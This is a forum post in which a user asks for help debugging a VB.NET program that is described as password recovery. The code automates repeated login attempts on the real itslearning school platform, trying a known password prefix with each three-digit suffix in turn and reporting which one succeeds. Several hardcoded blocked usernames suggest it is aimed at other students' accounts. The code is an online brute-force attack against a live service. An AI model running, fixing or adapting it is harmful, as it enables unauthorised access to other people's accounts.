Hello. I've made a program. The program does what it's supposed to do, for a while. The program is ment to recover my password if i loose it, but when I test it, it failes. It works fine until it comes to the number of my password.
Then this error shows: object reference not set to an instance of an object. and this section of code is highlighted:
Here is my completed code:HTML Code:WebBrowser1.Document.GetElementById("ctl03$Login$username$input").SetAttribute("value", TextBox1.Text)
Can someone a bit more experienced please tell me what's wrong? Thanks in advance :-)HTML Code:Public Class Form1 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dialog1.ShowDialog() End Sub Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click If TextBox1.Text = "" Then MsgBox("Fyll inn feltene") Exit Sub ElseIf TextBox2.Text = "" Then MsgBox("Fyll inn feltene") Exit Sub ElseIf ComboBox2.Text = "" Then MsgBox("Anngi skole") Exit Sub ElseIf ComboBox1.Text = "" Then MsgBox("Anngi tal for andre del av passordet") Exit Sub ElseIf TextBox1.Text = "koug" Then MsgBox("Administrator har sperret dette fra dette programmet.") Exit Sub ElseIf TextBox1.Text = "mobe" Then MsgBox("Administrator har sperret dette fra dette programmet.") Exit Sub ElseIf TextBox1.Text = "wiro" Then MsgBox("Administrator har sperret dette fra dette programmet.") Exit Sub ElseIf TextBox1.Text = "toso" Then MsgBox("Administrator har sperret dette fra dette programmet.") Exit Sub ElseIf TextBox1.Text = "laor" Then MsgBox("Administrator har sperret dette fra dette programmet.") Exit Sub End If MsgBox("Ser etter passordet. Du vil bli varsla når programmet er ferdig.") info() End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 'open website in wb Number1.Text = "0" number2.Text = "0" number3.Text = "0" WebBrowser1.Navigate("https://www.itslearning.com/Index.aspx?CustomerId=565&Username=") End Sub Private Sub ComboBox2_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox2.SelectedIndexChanged 'select combobox item in webpage If ComboBox2.SelectedIndex <> -1 Then Dim element As HtmlElement = WebBrowser1.Document.GetElementById("ctl03_Login_site_input") Dim optionsElement As HtmlElement = element.GetElementsByTagName("option").Cast(Of HtmlElement).First(Function(el) el.InnerText = ComboBox2.Text) optionsElement.SetAttribute("selected", "selected") End If End Sub Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted 'fill combobox If WebBrowser1.ReadyState <> WebBrowserReadyState.Complete Then Return Dim element As HtmlElement = WebBrowser1.Document.GetElementById("ctl03_Login_site_input") Dim options() As String = element.GetElementsByTagName("option").Cast(Of HtmlElement).Select(Function(el) el.InnerText).ToArray ComboBox2.Items.AddRange(options) End Sub Private Sub info() Timer1.Stop() Number1.Text = Number1.Text + 1 If Number1.Text = "10" Then Number1.Text = "0" number2.Text = number2.Text + 1 ElseIf number2.Text = "10" Then number2.Text = "0" number3.Text = number3.Text + 1 ElseIf number3.Text = "10" Then number3.Text = "9" ElseIf number3.Text = "9" & number2.Text = "9" & Number1.Text = "9" Then MsgBox("Fant ikke passordet") End If Dim cur1 As String cur1 = number3.Text & number2.Text & Number1.Text Label6.Text = cur1 WebBrowser1.Document.GetElementById("ctl03$Login$username$input").SetAttribute("value", TextBox1.Text) WebBrowser1.Document.GetElementById("ctl03$Login$password$input").SetAttribute("value", TextBox2.Text & cur1) WebBrowser1.Document.GetElementById("ctl03$Login$loginbtn").InvokeMember("click") Timer2.Start() End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick info() End Sub Private Sub info2() Timer2.Stop() Dim cur2 As String cur2 = number3.Text & number2.Text & Number1.Text If WebBrowser1.Url.ToString = "https://www.itslearning.com/main.aspx?StartUrl=main%2fmainmenu.aspx" Then MsgBox("Passordet ble funnet: " & TextBox2.Text & cur2) Exit Sub Else Timer1.Start() End If End Sub Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick info2() End Sub End Class




Reply With Quote
